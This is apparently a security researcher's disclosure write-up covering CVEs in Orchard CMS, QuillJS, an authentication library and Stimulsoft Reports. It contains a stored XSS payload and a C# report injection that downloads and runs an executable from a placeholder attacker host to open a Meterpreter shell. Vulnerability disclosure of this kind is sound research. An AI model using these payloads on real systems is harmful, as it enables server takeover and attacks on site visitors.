CVE-2020-29592 and CVE-2020-29593 - Orchard CMS Unrestricted File Upload and XSS

 

Note: This is fixed in Orchard 1.10, this post is about Orchard 1.8.1.0.

CVE-2929-29592 - Unrestricted File Upload via Media Folder and TinyMCE HTML Editor:

Not allowed because these are the allowed file types:

But we can...

 

 Success!

 

 

CVE-2020-29593 - XSS via Media Types Settings

 

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-29592

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-29593

CVE-2021-3163 - Stored XSS Slab Quill JS

 XSS in the WYSIWYG HTML editor by abusing the image tag.

 

For example, in the POST request when adding a comment, add this payload to the field with the comment text by using an interception proxy like BurpSuite:

 

<div><image src=validateNonExistantImage.png onloadstart=alert(1337)> hey girl hey </div>

Now the payload is stored on the page. When the next user visits, the XSS will execute.

This is a good example of why client side validation does not stop attackers who routinely bypass validation by interacting with APIs and server side endpoints directly.

https://github.com/quilljs/quill/issues/3273

I reported this to LinkedIn since they are using QuillJS, but they only have a private bug bounty program.

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3163

NOTE: Though the CVE is marked as "disputed", it is a very basic stored XSS has been easily reproducible. They seemed to accept this explanation and remediation note in issue #3558, but as of September 2022, the issue is still open and there doesn't seem to be a security patch in place, so it's still exploitable. As explained here, in order to fix it, there needs to be server side sanitation in addition to the client side validation that they're already using:

https://github.com/quilljs/quill/issues/3558

More discussion here, where I comment as "burninatorsec2":

https://github.com/quilljs/quill/issues/3364

Bypass Auth Lib

Recently I found a problem with an authentication library. The hyperlink the user clicks to access private content looks something like this:

https://www.authenticateme.com/auth.asp?url=http://www.privatecontent.com/1337

So normally, after the user enters their credentials on the auth.asp page, they are redirected to privatecontent.com/1337 ... or they could just go directly to that page, bypassing any security restrictions. They can then enumerate and access other content based on the formula of the URL.

Additionally, this qualifies as an open redirect, since an attacker could append their own attack server's address to "url=", then send the link to a victim, and then the attacker will receive the credentials passed through the authentication page.

CVE-2020-15865 - Reporting C# Serialization: Remote Code Execution

The Stimulsoft Reports 2013.1.1600.0 library has code execution built in by design, and can be used to fully compromise the application server running it. Buried in the XML of the report file is a base-64 encoded string that contains C# code that a user can edit, then re-encode, submit, and execute.

It's pretty clear that the code is compiled and run, because the comments say "generated code - do not modify."

... so, of course, let's modify it!

I have to do a lot of testing at this point to make sure that modifying the code doesn't completely break it. After all, I still need it to run, I just want it to also run my code! The application kept crashing as I tried importing other namespaces that I could use, such as one for writing to the operating system (using System.IO). Looks like some of this namespaces are blacklisted, which is smart. It's making it difficult for me to get in.

Eventually the one able to add, without causing errors, is using System.Diagnostics. Which means I can use Process() to start a cmd.exe process and then use a Powershell command to download a payload and get a command shell with Meterpreter. That's what I do. With the malicious changes (in red), it looks like:

<script>

using System.Diagnostics;

namespace Reports {

    public class New_Report : Stimulsoft.Report.StiReport
    {
        public New_Report()
        {
            this.InitializeComponent();
            Process c = newProcess();
            c.StartInfo.FileName = @"cmd.exe";
            c.StartInfo.Arguments = @"/c powershell Invoke-WebRequest -Uri http://ATTACKER-IP/scary.exe -Outfile C:\ProgramData\scary.exe";
            c.Start();

            Process c1 = new Process();
            c1.StartInfo.FileName = @"cmd.exe";
            c1.StartInfo.Arguments = @"/c C:\ProgramData\scary.exe";
            c1.Start();

        }
        
        #region StiReport Designer generated code - do not modify

            #endregion StiReport Designer generated code - do not modify

    }
}
</script>

Since this application is running as user NT AUTHORITY\SYSTEM, the Meterpreter shell returned to the attacker is also running as root.

Some disclaimers: it took a little discovery and trial and error to figure out that the server was running Windows, and which directory I would be able to download the payload to, permissions for executing Powershell scripts etc. Also, depending on how fast the download is, the attacker may have to download and execute the payload in two separate scripts.

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-15865